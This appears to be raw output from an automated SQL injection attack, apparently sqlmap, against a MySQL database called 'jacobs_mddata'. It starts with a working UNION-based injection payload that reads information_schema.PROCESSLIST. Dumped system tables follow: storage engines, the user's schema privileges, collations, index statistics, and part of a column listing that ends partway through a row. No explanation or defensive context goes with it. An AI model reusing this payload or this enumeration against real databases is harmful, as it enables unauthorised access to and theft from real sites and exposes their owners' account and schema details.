'483'/**/UNION/**/ALL/**/SELECT/**/NULL,NULL,NULL,CONCAT(0x7162717671,JSON_ARRAYAGG(CONCAT_WS(0x787279666470,COMMAND,DB,HOST,ID,INFO,STATE,`TIME`,`USER`)),0x717a786b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/information_schema.PROCESSLIST#' | localhost | executing | jacobs_mddata | 0 | Query | +---------+---------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------+-----------+---------------+--------+---------+ Database: information_schema Table: ENGINES [9 entries] +---------+--------------------+----------------------------------------------------------------+---------+------------+--------------+ | XA | ENGINE | COMMENT | SUPPORT | SAVEPOINTS | TRANSACTIONS | +---------+--------------------+----------------------------------------------------------------+---------+------------+--------------+ | YES | InnoDB | Supports transactions, row-level locking, and foreign keys | YES | YES | YES | | NO | MRG_MYISAM | Collection of identical MyISAM tables | YES | NO | NO | | NO | MEMORY | Hash based, stored in memory, useful for temporary tables | YES | NO | NO | | NO | BLACKHOLE | /dev/null storage engine (anything you write to it disappears) | YES | NO | NO | | NO | MyISAM | MyISAM storage engine | DEFAULT | NO | NO | | NO | CSV | CSV storage engine | YES | NO | NO | | NO | ARCHIVE | Archive storage engine | YES | NO | NO | | NO | PERFORMANCE_SCHEMA | Performance Schema | YES | NO | NO | | | FEDERATED | Federated MySQL storage engine | | NO | | +---------+--------------------+----------------------------------------------------------------+---------+------------+--------------+ Database: information_schema Table: SCHEMA_PRIVILEGES [14 entries] +-----------------------------+--------------+-----------------+---------------+-------------------------+ | GRANTEE | IS_GRANTABLE | TABLE_SCHEMA | TABLE_CATALOG | PRIVILEGE_TYPE | +-----------------------------+--------------+-----------------+---------------+-------------------------+ | 'jacobs_mddata'@'localhost' | NO | jacobs\\_mddata | def | SELECT | | 'jacobs_mddata'@'localhost' | NO | jacobs\\_mddata | def | INSERT | | 'jacobs_mddata'@'localhost' | NO | jacobs\\_mddata | def | UPDATE | | 'jacobs_mddata'@'localhost' | NO | jacobs\\_mddata | def | DELETE | | 'jacobs_mddata'@'localhost' | NO | jacobs\\_mddata | def | CREATE | | 'jacobs_mddata'@'localhost' | NO | jacobs\\_mddata | def | DROP | | 'jacobs_mddata'@'localhost' | NO | jacobs\\_mddata | def | REFERENCES | | 'jacobs_mddata'@'localhost' | NO | jacobs\\_mddata | def | INDEX | | 'jacobs_mddata'@'localhost' | NO | jacobs\\_mddata | def | ALTER | | 'jacobs_mddata'@'localhost' | NO | jacobs\\_mddata | def | CREATE TEMPORARY TABLES | | 'jacobs_mddata'@'localhost' | NO | jacobs\\_mddata | def | LOCK TABLES | | 'jacobs_mddata'@'localhost' | NO | jacobs\\_mddata | def | EXECUTE | | 'jacobs_mddata'@'localhost' | NO | jacobs\\_mddata | def | CREATE ROUTINE | | 'jacobs_mddata'@'localhost' | NO | jacobs\\_mddata | def | ALTER ROUTINE | +-----------------------------+--------------+-----------------+---------------+-------------------------+ Database: information_schema Table: COLLATIONS [222 entries] +-----+---------+------------+-------------+--------------------------+--------------------+ | ID | SORTLEN | IS_DEFAULT | IS_COMPILED | COLLATION_NAME | CHARACTER_SET_NAME | +-----+---------+------------+-------------+--------------------------+--------------------+ | 1 | 1 | Yes | Yes | big5_chinese_ci | big5 | | 84 | 1 | | Yes | big5_bin | big5 | | 3 | 1 | Yes | Yes | dec8_swedish_ci | dec8 | | 69 | 1 | | Yes | dec8_bin | dec8 | | 4 | 1 | Yes | Yes | cp850_general_ci | cp850 | | 80 | 1 | | Yes | cp850_bin | cp850 | | 6 | 1 | Yes | Yes | hp8_english_ci | hp8 | | 72 | 1 | | Yes | hp8_bin | hp8 | | 7 | 1 | Yes | Yes | koi8r_general_ci | koi8r | | 74 | 1 | | Yes | koi8r_bin | koi8r | | 5 | 1 | | Yes | latin1_german1_ci | latin1 | | 8 | 1 | Yes | Yes | latin1_swedish_ci | latin1 | | 15 | 1 | | Yes | latin1_danish_ci | latin1 | | 31 | 2 | | Yes | latin1_german2_ci | latin1 | | 47 | 1 | | Yes | latin1_bin | latin1 | | 48 | 1 | | Yes | latin1_general_ci | latin1 | | 49 | 1 | | Yes | latin1_general_cs | latin1 | | 94 | 1 | | Yes | latin1_spanish_ci | latin1 | | 2 | 4 | | Yes | latin2_czech_cs | latin2 | | 9 | 1 | Yes | Yes | latin2_general_ci | latin2 | | 21 | 1 | | Yes | latin2_hungarian_ci | latin2 | | 27 | 1 | | Yes | latin2_croatian_ci | latin2 | | 77 | 1 | | Yes | latin2_bin | latin2 | | 10 | 1 | Yes | Yes | swe7_swedish_ci | swe7 | | 82 | 1 | | Yes | swe7_bin | swe7 | | 11 | 1 | Yes | Yes | ascii_general_ci | ascii | | 65 | 1 | | Yes | ascii_bin | ascii | | 12 | 1 | Yes | Yes | ujis_japanese_ci | ujis | | 91 | 1 | | Yes | ujis_bin | ujis | | 13 | 1 | Yes | Yes | sjis_japanese_ci | sjis | | 88 | 1 | | Yes | sjis_bin | sjis | | 16 | 1 | Yes | Yes | hebrew_general_ci | hebrew | | 71 | 1 | | Yes | hebrew_bin | hebrew | | 18 | 4 | Yes | Yes | tis620_thai_ci | tis620 | | 89 | 1 | | Yes | tis620_bin | tis620 | | 19 | 1 | Yes | Yes | euckr_korean_ci | euckr | | 85 | 1 | | Yes | euckr_bin | euckr | | 22 | 1 | Yes | Yes | koi8u_general_ci | koi8u | | 75 | 1 | | Yes | koi8u_bin | koi8u | | 24 | 1 | Yes | Yes | gb2312_chinese_ci | gb2312 | | 86 | 1 | | Yes | gb2312_bin | gb2312 | | 25 | 1 | Yes | Yes | greek_general_ci | greek | | 70 | 1 | | Yes | greek_bin | greek | | 26 | 1 | Yes | Yes | cp1250_general_ci | cp1250 | | 34 | 2 | | Yes | cp1250_czech_cs | cp1250 | | 44 | 1 | | Yes | cp1250_croatian_ci | cp1250 | | 66 | 1 | | Yes | cp1250_bin | cp1250 | | 99 | 1 | | Yes | cp1250_polish_ci | cp1250 | | 28 | 1 | Yes | Yes | gbk_chinese_ci | gbk | | 87 | 1 | | Yes | gbk_bin | gbk | | 30 | 1 | Yes | Yes | latin5_turkish_ci | latin5 | | 78 | 1 | | Yes | latin5_bin | latin5 | | 32 | 1 | Yes | Yes | armscii8_general_ci | armscii8 | | 64 | 1 | | Yes | armscii8_bin | armscii8 | | 33 | 1 | Yes | Yes | utf8_general_ci | utf8 | | 83 | 1 | | Yes | utf8_bin | utf8 | | 192 | 8 | | Yes | utf8_unicode_ci | utf8 | | 193 | 8 | | Yes | utf8_icelandic_ci | utf8 | | 194 | 8 | | Yes | utf8_latvian_ci | utf8 | | 195 | 8 | | Yes | utf8_romanian_ci | utf8 | | 196 | 8 | | Yes | utf8_slovenian_ci | utf8 | | 197 | 8 | | Yes | utf8_polish_ci | utf8 | | 198 | 8 | | Yes | utf8_estonian_ci | utf8 | | 199 | 8 | | Yes | utf8_spanish_ci | utf8 | | 200 | 8 | | Yes | utf8_swedish_ci | utf8 | | 201 | 8 | | Yes | utf8_turkish_ci | utf8 | | 202 | 8 | | Yes | utf8_czech_ci | utf8 | | 203 | 8 | | Yes | utf8_danish_ci | utf8 | | 204 | 8 | | Yes | utf8_lithuanian_ci | utf8 | | 205 | 8 | | Yes | utf8_slovak_ci | utf8 | | 206 | 8 | | Yes | utf8_spanish2_ci | utf8 | | 207 | 8 | | Yes | utf8_roman_ci | utf8 | | 208 | 8 | | Yes | utf8_persian_ci | utf8 | | 209 | 8 | | Yes | utf8_esperanto_ci | utf8 | | 210 | 8 | | Yes | utf8_hungarian_ci | utf8 | | 211 | 8 | | Yes | utf8_sinhala_ci | utf8 | | 212 | 8 | | Yes | utf8_german2_ci | utf8 | | 213 | 8 | | Yes | utf8_croatian_ci | utf8 | | 214 | 8 | | Yes | utf8_unicode_520_ci | utf8 | | 215 | 8 | | Yes | utf8_vietnamese_ci | utf8 | | 223 | 1 | | Yes | utf8_general_mysql500_ci | utf8 | | 35 | 1 | Yes | Yes | ucs2_general_ci | ucs2 | | 90 | 1 | | Yes | ucs2_bin | ucs2 | | 128 | 8 | | Yes | ucs2_unicode_ci | ucs2 | | 129 | 8 | | Yes | ucs2_icelandic_ci | ucs2 | | 130 | 8 | | Yes | ucs2_latvian_ci | ucs2 | | 131 | 8 | | Yes | ucs2_romanian_ci | ucs2 | | 132 | 8 | | Yes | ucs2_slovenian_ci | ucs2 | | 133 | 8 | | Yes | ucs2_polish_ci | ucs2 | | 134 | 8 | | Yes | ucs2_estonian_ci | ucs2 | | 135 | 8 | | Yes | ucs2_spanish_ci | ucs2 | | 136 | 8 | | Yes | ucs2_swedish_ci | ucs2 | | 137 | 8 | | Yes | ucs2_turkish_ci | ucs2 | | 138 | 8 | | Yes | ucs2_czech_ci | ucs2 | | 139 | 8 | | Yes | ucs2_danish_ci | ucs2 | | 140 | 8 | | Yes | ucs2_lithuanian_ci | ucs2 | | 141 | 8 | | Yes | ucs2_slovak_ci | ucs2 | | 142 | 8 | | Yes | ucs2_spanish2_ci | ucs2 | | 143 | 8 | | Yes | ucs2_roman_ci | ucs2 | | 144 | 8 | | Yes | ucs2_persian_ci | ucs2 | | 145 | 8 | | Yes | ucs2_esperanto_ci | ucs2 | | 146 | 8 | | Yes | ucs2_hungarian_ci | ucs2 | | 147 | 8 | | Yes | ucs2_sinhala_ci | ucs2 | | 148 | 8 | | Yes | ucs2_german2_ci | ucs2 | | 149 | 8 | | Yes | ucs2_croatian_ci | ucs2 | | 150 | 8 | | Yes | ucs2_unicode_520_ci | ucs2 | | 151 | 8 | | Yes | ucs2_vietnamese_ci | ucs2 | | 159 | 1 | | Yes | ucs2_general_mysql500_ci | ucs2 | | 36 | 1 | Yes | Yes | cp866_general_ci | cp866 | | 68 | 1 | | Yes | cp866_bin | cp866 | | 37 | 1 | Yes | Yes | keybcs2_general_ci | keybcs2 | | 73 | 1 | | Yes | keybcs2_bin | keybcs2 | | 38 | 1 | Yes | Yes | macce_general_ci | macce | | 43 | 1 | | Yes | macce_bin | macce | | 39 | 1 | Yes | Yes | macroman_general_ci | macroman | | 53 | 1 | | Yes | macroman_bin | macroman | | 40 | 1 | Yes | Yes | cp852_general_ci | cp852 | | 81 | 1 | | Yes | cp852_bin | cp852 | | 20 | 1 | | Yes | latin7_estonian_cs | latin7 | | 41 | 1 | Yes | Yes | latin7_general_ci | latin7 | | 42 | 1 | | Yes | latin7_general_cs | latin7 | | 79 | 1 | | Yes | latin7_bin | latin7 | | 45 | 1 | Yes | Yes | utf8_general_ci | utf8 | | 46 | 1 | | Yes | utf8_bin | utf8 | | 224 | 8 | | Yes | utf8_general_ci | utf8 | | 225 | 8 | | Yes | utf8_icelandic_ci | utf8 | | 226 | 8 | | Yes | utf8_latvian_ci | utf8 | | 227 | 8 | | Yes | utf8_romanian_ci | utf8 | | 228 | 8 | | Yes | utf8_slovenian_ci | utf8 | | 229 | 8 | | Yes | utf8_polish_ci | utf8 | | 230 | 8 | | Yes | utf8_estonian_ci | utf8 | | 231 | 8 | | Yes | utf8_spanish_ci | utf8 | | 232 | 8 | | Yes | utf8_swedish_ci | utf8 | | 233 | 8 | | Yes | utf8_turkish_ci | utf8 | | 234 | 8 | | Yes | utf8_czech_ci | utf8 | | 235 | 8 | | Yes | utf8_danish_ci | utf8 | | 236 | 8 | | Yes | utf8_lithuanian_ci | utf8 | | 237 | 8 | | Yes | utf8_slovak_ci | utf8 | | 238 | 8 | | Yes | utf8_spanish2_ci | utf8 | | 239 | 8 | | Yes | utf8_roman_ci | utf8 | | 240 | 8 | | Yes | utf8_persian_ci | utf8 | | 241 | 8 | | Yes | utf8_esperanto_ci | utf8 | | 242 | 8 | | Yes | utf8_hungarian_ci | utf8 | | 243 | 8 | | Yes | utf8_sinhala_ci | utf8 | | 244 | 8 | | Yes | utf8_german2_ci | utf8 | | 245 | 8 | | Yes | utf8_croatian_ci | utf8 | | 246 | 8 | | Yes | utf8_unicode_520_ci | utf8 | | 247 | 8 | | Yes | utf8_vietnamese_ci | utf8 | | 14 | 1 | | Yes | cp1251_bulgarian_ci | cp1251 | | 23 | 1 | | Yes | cp1251_ukrainian_ci | cp1251 | | 50 | 1 | | Yes | cp1251_bin | cp1251 | | 51 | 1 | Yes | Yes | cp1251_general_ci | cp1251 | | 52 | 1 | | Yes | cp1251_general_cs | cp1251 | | 54 | 1 | Yes | Yes | utf16_general_ci | utf16 | | 55 | 1 | | Yes | utf16_bin | utf16 | | 101 | 8 | | Yes | utf16_unicode_ci | utf16 | | 102 | 8 | | Yes | utf16_icelandic_ci | utf16 | | 103 | 8 | | Yes | utf16_latvian_ci | utf16 | | 104 | 8 | | Yes | utf16_romanian_ci | utf16 | | 105 | 8 | | Yes | utf16_slovenian_ci | utf16 | | 106 | 8 | | Yes | utf16_polish_ci | utf16 | | 107 | 8 | | Yes | utf16_estonian_ci | utf16 | | 108 | 8 | | Yes | utf16_spanish_ci | utf16 | | 109 | 8 | | Yes | utf16_swedish_ci | utf16 | | 110 | 8 | | Yes | utf16_turkish_ci | utf16 | | 111 | 8 | | Yes | utf16_czech_ci | utf16 | | 112 | 8 | | Yes | utf16_danish_ci | utf16 | | 113 | 8 | | Yes | utf16_lithuanian_ci | utf16 | | 114 | 8 | | Yes | utf16_slovak_ci | utf16 | | 115 | 8 | | Yes | utf16_spanish2_ci | utf16 | | 116 | 8 | | Yes | utf16_roman_ci | utf16 | | 117 | 8 | | Yes | utf16_persian_ci | utf16 | | 118 | 8 | | Yes | utf16_esperanto_ci | utf16 | | 119 | 8 | | Yes | utf16_hungarian_ci | utf16 | | 120 | 8 | | Yes | utf16_sinhala_ci | utf16 | | 121 | 8 | | Yes | utf16_german2_ci | utf16 | | 122 | 8 | | Yes | utf16_croatian_ci | utf16 | | 123 | 8 | | Yes | utf16_unicode_520_ci | utf16 | | 124 | 8 | | Yes | utf16_vietnamese_ci | utf16 | | 56 | 1 | Yes | Yes | utf16le_general_ci | utf16le | | 62 | 1 | | Yes | utf16le_bin | utf16le | | 57 | 1 | Yes | Yes | cp1256_general_ci | cp1256 | | 67 | 1 | | Yes | cp1256_bin | cp1256 | | 29 | 1 | | Yes | cp1257_lithuanian_ci | cp1257 | | 58 | 1 | | Yes | cp1257_bin | cp1257 | | 59 | 1 | Yes | Yes | cp1257_general_ci | cp1257 | | 60 | 1 | Yes | Yes | utf32_general_ci | utf32 | | 61 | 1 | | Yes | utf32_bin | utf32 | | 160 | 8 | | Yes | utf32_unicode_ci | utf32 | | 161 | 8 | | Yes | utf32_icelandic_ci | utf32 | | 162 | 8 | | Yes | utf32_latvian_ci | utf32 | | 163 | 8 | | Yes | utf32_romanian_ci | utf32 | | 164 | 8 | | Yes | utf32_slovenian_ci | utf32 | | 165 | 8 | | Yes | utf32_polish_ci | utf32 | | 166 | 8 | | Yes | utf32_estonian_ci | utf32 | | 167 | 8 | | Yes | utf32_spanish_ci | utf32 | | 168 | 8 | | Yes | utf32_swedish_ci | utf32 | | 169 | 8 | | Yes | utf32_turkish_ci | utf32 | | 170 | 8 | | Yes | utf32_czech_ci | utf32 | | 171 | 8 | | Yes | utf32_danish_ci | utf32 | | 172 | 8 | | Yes | utf32_lithuanian_ci | utf32 | | 173 | 8 | | Yes | utf32_slovak_ci | utf32 | | 174 | 8 | | Yes | utf32_spanish2_ci | utf32 | | 175 | 8 | | Yes | utf32_roman_ci | utf32 | | 176 | 8 | | Yes | utf32_persian_ci | utf32 | | 177 | 8 | | Yes | utf32_esperanto_ci | utf32 | | 178 | 8 | | Yes | utf32_hungarian_ci | utf32 | | 179 | 8 | | Yes | utf32_sinhala_ci | utf32 | | 180 | 8 | | Yes | utf32_german2_ci | utf32 | | 181 | 8 | | Yes | utf32_croatian_ci | utf32 | | 182 | 8 | | Yes | utf32_unicode_520_ci | utf32 | | 183 | 8 | | Yes | utf32_vietnamese_ci | utf32 | | 63 | 1 | Yes | Yes | binary | binary | | 92 | 1 | Yes | Yes | geostd8_general_ci | geostd8 | | 93 | 1 | | Yes | geostd8_bin | geostd8 | | 95 | 1 | Yes | Yes | cp932_japanese_ci | cp932 | | 96 | 1 | | Yes | cp932_bin | cp932 | | 97 | 1 | Yes | Yes | eucjpms_japanese_ci | eucjpms | | 98 | 1 | | Yes | eucjpms_bin | eucjpms | | 248 | 2 | Yes | Yes | gb18030_chinese_ci | gb18030 | | 249 | 1 | | Yes | gb18030_bin | gb18030 | | 250 | 8 | | Yes | gb18030_unicode_520_ci | gb18030 | +-----+---------+------------+-------------+--------------------------+--------------------+ Database: information_schema Table: STATISTICS [2 entries] +--------+---------+-------------+----------+------------+------------+------------+------------+-------------+-------------+---------------+--------------+--------------+---------------+---------------+---------------+ | PACKED | COMMENT | SUB_PART | NULLABLE | INDEX_NAME | INDEX_TYPE | NON_UNIQUE | TABLE_NAME | COLLATION | COLUMN_NAME | INDEX_SCHEMA | TABLE_SCHEMA | SEQ_IN_INDEX | INDEX_COMMENT | TABLE_CATALOG | CARDINALITY | +--------+---------+-------------+----------+------------+------------+------------+------------+-------------+-------------+---------------+--------------+--------------+---------------+---------------+---------------+ | 1 | | modern_cat | | PRIMARY | BTREE | 0 | 10 | | id | jacobs_mddata | A | def | | jacobs_mddata | | | 1 | | modern_navi | | PRIMARY | BTREE | 0 | 542 | | id | jacobs_mddata | A | def | | jacobs_mddata | | +--------+---------+-------------+----------+------------+------------+------------+------------+-------------+-------------+---------------+--------------+--------------+---------------+---------------+---------------+ Database: information_schema Table: COLLATION_CHARACTER_SET_APPLICABILITY [222 entries] +--------------------------+--------------------+ | COLLATION_NAME | CHARACTER_SET_NAME | +--------------------------+--------------------+ | big5_chinese_ci | big5 | | big5_bin | big5 | | dec8_swedish_ci | dec8 | | dec8_bin | dec8 | | cp850_general_ci | cp850 | | cp850_bin | cp850 | | hp8_english_ci | hp8 | | hp8_bin | hp8 | | koi8r_general_ci | koi8r | | koi8r_bin | koi8r | | latin1_german1_ci | latin1 | | latin1_swedish_ci | latin1 | | latin1_danish_ci | latin1 | | latin1_german2_ci | latin1 | | latin1_bin | latin1 | | latin1_general_ci | latin1 | | latin1_general_cs | latin1 | | latin1_spanish_ci | latin1 | | latin2_czech_cs | latin2 | | latin2_general_ci | latin2 | | latin2_hungarian_ci | latin2 | | latin2_croatian_ci | latin2 | | latin2_bin | latin2 | | swe7_swedish_ci | swe7 | | swe7_bin | swe7 | | ascii_general_ci | ascii | | ascii_bin | ascii | | ujis_japanese_ci | ujis | | ujis_bin | ujis | | sjis_japanese_ci | sjis | | sjis_bin | sjis | | hebrew_general_ci | hebrew | | hebrew_bin | hebrew | | tis620_thai_ci | tis620 | | tis620_bin | tis620 | | euckr_korean_ci | euckr | | euckr_bin | euckr | | koi8u_general_ci | koi8u | | koi8u_bin | koi8u | | gb2312_chinese_ci | gb2312 | | gb2312_bin | gb2312 | | greek_general_ci | greek | | greek_bin | greek | | cp1250_general_ci | cp1250 | | cp1250_czech_cs | cp1250 | | cp1250_croatian_ci | cp1250 | | cp1250_bin | cp1250 | | cp1250_polish_ci | cp1250 | | gbk_chinese_ci | gbk | | gbk_bin | gbk | | latin5_turkish_ci | latin5 | | latin5_bin | latin5 | | armscii8_general_ci | armscii8 | | armscii8_bin | armscii8 | | utf8_general_ci | utf8 | | utf8_bin | utf8 | | utf8_unicode_ci | utf8 | | utf8_icelandic_ci | utf8 | | utf8_latvian_ci | utf8 | | utf8_romanian_ci | utf8 | | utf8_slovenian_ci | utf8 | | utf8_polish_ci | utf8 | | utf8_estonian_ci | utf8 | | utf8_spanish_ci | utf8 | | utf8_swedish_ci | utf8 | | utf8_turkish_ci | utf8 | | utf8_czech_ci | utf8 | | utf8_danish_ci | utf8 | | utf8_lithuanian_ci | utf8 | | utf8_slovak_ci | utf8 | | utf8_spanish2_ci | utf8 | | utf8_roman_ci | utf8 | | utf8_persian_ci | utf8 | | utf8_esperanto_ci | utf8 | | utf8_hungarian_ci | utf8 | | utf8_sinhala_ci | utf8 | | utf8_german2_ci | utf8 | | utf8_croatian_ci | utf8 | | utf8_unicode_520_ci | utf8 | | utf8_vietnamese_ci | utf8 | | utf8_general_mysql500_ci | utf8 | | ucs2_general_ci | ucs2 | | ucs2_bin | ucs2 | | ucs2_unicode_ci | ucs2 | | ucs2_icelandic_ci | ucs2 | | ucs2_latvian_ci | ucs2 | | ucs2_romanian_ci | ucs2 | | ucs2_slovenian_ci | ucs2 | | ucs2_polish_ci | ucs2 | | ucs2_estonian_ci | ucs2 | | ucs2_spanish_ci | ucs2 | | ucs2_swedish_ci | ucs2 | | ucs2_turkish_ci | ucs2 | | ucs2_czech_ci | ucs2 | | ucs2_danish_ci | ucs2 | | ucs2_lithuanian_ci | ucs2 | | ucs2_slovak_ci | ucs2 | | ucs2_spanish2_ci | ucs2 | | ucs2_roman_ci | ucs2 | | ucs2_persian_ci | ucs2 | | ucs2_esperanto_ci | ucs2 | | ucs2_hungarian_ci | ucs2 | | ucs2_sinhala_ci | ucs2 | | ucs2_german2_ci | ucs2 | | ucs2_croatian_ci | ucs2 | | ucs2_unicode_520_ci | ucs2 | | ucs2_vietnamese_ci | ucs2 | | ucs2_general_mysql500_ci | ucs2 | | cp866_general_ci | cp866 | | cp866_bin | cp866 | | keybcs2_general_ci | keybcs2 | | keybcs2_bin | keybcs2 | | macce_general_ci | macce | | macce_bin | macce | | macroman_general_ci | macroman | | macroman_bin | macroman | | cp852_general_ci | cp852 | | cp852_bin | cp852 | | latin7_estonian_cs | latin7 | | latin7_general_ci | latin7 | | latin7_general_cs | latin7 | | latin7_bin | latin7 | | utf8_general_ci | utf8 | | utf8_bin | utf8 | | utf8_general_ci | utf8 | | utf8_icelandic_ci | utf8 | | utf8_latvian_ci | utf8 | | utf8_romanian_ci | utf8 | | utf8_slovenian_ci | utf8 | | utf8_polish_ci | utf8 | | utf8_estonian_ci | utf8 | | utf8_spanish_ci | utf8 | | utf8_swedish_ci | utf8 | | utf8_turkish_ci | utf8 | | utf8_czech_ci | utf8 | | utf8_danish_ci | utf8 | | utf8_lithuanian_ci | utf8 | | utf8_slovak_ci | utf8 | | utf8_spanish2_ci | utf8 | | utf8_roman_ci | utf8 | | utf8_persian_ci | utf8 | | utf8_esperanto_ci | utf8 | | utf8_hungarian_ci | utf8 | | utf8_sinhala_ci | utf8 | | utf8_german2_ci | utf8 | | utf8_croatian_ci | utf8 | | utf8_unicode_520_ci | utf8 | | utf8_vietnamese_ci | utf8 | | cp1251_bulgarian_ci | cp1251 | | cp1251_ukrainian_ci | cp1251 | | cp1251_bin | cp1251 | | cp1251_general_ci | cp1251 | | cp1251_general_cs | cp1251 | | utf16_general_ci | utf16 | | utf16_bin | utf16 | | utf16_unicode_ci | utf16 | | utf16_icelandic_ci | utf16 | | utf16_latvian_ci | utf16 | | utf16_romanian_ci | utf16 | | utf16_slovenian_ci | utf16 | | utf16_polish_ci | utf16 | | utf16_estonian_ci | utf16 | | utf16_spanish_ci | utf16 | | utf16_swedish_ci | utf16 | | utf16_turkish_ci | utf16 | | utf16_czech_ci | utf16 | | utf16_danish_ci | utf16 | | utf16_lithuanian_ci | utf16 | | utf16_slovak_ci | utf16 | | utf16_spanish2_ci | utf16 | | utf16_roman_ci | utf16 | | utf16_persian_ci | utf16 | | utf16_esperanto_ci | utf16 | | utf16_hungarian_ci | utf16 | | utf16_sinhala_ci | utf16 | | utf16_german2_ci | utf16 | | utf16_croatian_ci | utf16 | | utf16_unicode_520_ci | utf16 | | utf16_vietnamese_ci | utf16 | | utf16le_general_ci | utf16le | | utf16le_bin | utf16le | | cp1256_general_ci | cp1256 | | cp1256_bin | cp1256 | | cp1257_lithuanian_ci | cp1257 | | cp1257_bin | cp1257 | | cp1257_general_ci | cp1257 | | utf32_general_ci | utf32 | | utf32_bin | utf32 | | utf32_unicode_ci | utf32 | | utf32_icelandic_ci | utf32 | | utf32_latvian_ci | utf32 | | utf32_romanian_ci | utf32 | | utf32_slovenian_ci | utf32 | | utf32_polish_ci | utf32 | | utf32_estonian_ci | utf32 | | utf32_spanish_ci | utf32 | | utf32_swedish_ci | utf32 | | utf32_turkish_ci | utf32 | | utf32_czech_ci | utf32 | | utf32_danish_ci | utf32 | | utf32_lithuanian_ci | utf32 | | utf32_slovak_ci | utf32 | | utf32_spanish2_ci | utf32 | | utf32_roman_ci | utf32 | | utf32_persian_ci | utf32 | | utf32_esperanto_ci | utf32 | | utf32_hungarian_ci | utf32 | | utf32_sinhala_ci | utf32 | | utf32_german2_ci | utf32 | | utf32_croatian_ci | utf32 | | utf32_unicode_520_ci | utf32 | | utf32_vietnamese_ci | utf32 | | binary | binary | | geostd8_general_ci | geostd8 | | geostd8_bin | geostd8 | | cp932_japanese_ci | cp932 | | cp932_bin | cp932 | | eucjpms_japanese_ci | eucjpms | | eucjpms_bin | eucjpms | | gb18030_chinese_ci | gb18030 | | gb18030_bin | gb18030 | | gb18030_unicode_520_ci | gb18030 | +--------------------------+--------------------+ Database: information_schema Table: COLUMNS [626 entries] +-----------------------------+------------+---------------------------------------+------------+---------------------+-------------+-----------------------------------+--------------------+---------------------------------+---------------+---------------+----------------+-----------------+---------------------+------------------+-------------------+--------------------+--------------------+-----------------------+------------------------+--------------------------+ | EXTRA | DATA_TYPE | TABLE_NAME | COLUMN_KEY | COLUMN_TYPE | IS_NULLABLE | COLUMN_NAME | TABLE_SCHEMA | PRIVILEGES | TABLE_CATALOG | NUMERIC_SCALE | COLUMN_COMMENT | COLLATION_NAME | COLUMN_DEFAULT | ORDINAL_POSITION | NUMERIC_PRECISION | CHARACTER_SET_NAME | DATETIME_PRECISION | GENERATION_EXPRESSION | CHARACTER_OCTET_LENGTH | CHARACTER_MAXIMUM_LENGTH | +-----------------------------+------------+---------------------------------------+------------+---------------------+-------------+-----------------------------------+--------------------+---------------------------------+---------------+---------------+----------------+-----------------+---------------------+------------------+-------------------+--------------------+--------------------+-----------------------+------------------------+--------------------------+ | | datetime | INNODB_TRX | | datetime | YES | trx_wait_started | information_schema | select | def | NULL | | NULL | NULL | 5 | NULL | NULL | 0 | | NULL | NULL | | | bigint | INNODB_TRX | | bigint(21) unsigned | NO | trx_weight | information_schema | select | def | 0 | | NULL | 0 | 6 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_TRX | | bigint(21) unsigned | NO | trx_mysql_thread_id | information_schema | select | def | 0 | | NULL | 0 | 7 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_TRX | | varchar(1024) | YES | trx_query | information_schema | select | def | NULL | | utf8_general_ci | NULL | 8 | NULL | utf8 | NULL | | 3072 | 1024 | | | varchar | INNODB_TRX | | varchar(64) | YES | trx_operation_state | information_schema | select | def | NULL | | utf8_general_ci | NULL | 9 | NULL | utf8 | NULL | | 192 | 64 | | | bigint | INNODB_TRX | | bigint(21) unsigned | NO | trx_tables_in_use | information_schema | select | def | 0 | | NULL | 0 | 10 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_TRX | | bigint(21) unsigned | NO | trx_tables_locked | information_schema | select | def | 0 | | NULL | 0 | 11 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_TRX | | bigint(21) unsigned | NO | trx_lock_structs | information_schema | select | def | 0 | | NULL | 0 | 12 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_TRX | | bigint(21) unsigned | NO | trx_lock_memory_bytes | information_schema | select | def | 0 | | NULL | 0 | 13 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_TRX | | bigint(21) unsigned | NO | trx_rows_locked | information_schema | select | def | 0 | | NULL | 0 | 14 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_TRX | | bigint(21) unsigned | NO | trx_rows_modified | information_schema | select | def | 0 | | NULL | 0 | 15 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_TRX | | bigint(21) unsigned | NO | trx_concurrency_tickets | information_schema | select | def | 0 | | NULL | 0 | 16 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_TRX | | varchar(16) | NO | trx_isolation_level | information_schema | select | def | NULL | | utf8_general_ci | | 17 | NULL | utf8 | NULL | | 48 | 16 | | | int | INNODB_TRX | | int(1) | NO | trx_unique_checks | information_schema | select | def | 0 | | NULL | 0 | 18 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_TRX | | int(1) | NO | trx_foreign_key_checks | information_schema | select | def | 0 | | NULL | 0 | 19 | 10 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_TRX | | varchar(256) | YES | trx_last_foreign_key_error | information_schema | select | def | NULL | | utf8_general_ci | NULL | 20 | NULL | utf8 | NULL | | 768 | 256 | | | int | INNODB_TRX | | int(1) | NO | trx_adaptive_hash_latched | information_schema | select | def | 0 | | NULL | 0 | 21 | 10 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_TRX | | bigint(21) unsigned | NO | trx_adaptive_hash_timeout | information_schema | select | def | 0 | | NULL | 0 | 22 | 20 | NULL | NULL | | NULL | NULL | | | int | INNODB_TRX | | int(1) | NO | trx_is_read_only | information_schema | select | def | 0 | | NULL | 0 | 23 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_TRX | | int(1) | NO | trx_autocommit_non_locking | information_schema | select | def | 0 | | NULL | 0 | 24 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_SYS_DATAFILES | | int(11) unsigned | NO | SPACE | information_schema | select | def | 0 | | NULL | 0 | 1 | 10 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_SYS_DATAFILES | | varchar(4000) | NO | PATH | information_schema | select | def | NULL | | utf8_general_ci | | 2 | NULL | utf8 | NULL | | 12000 | 4000 | | | varchar | 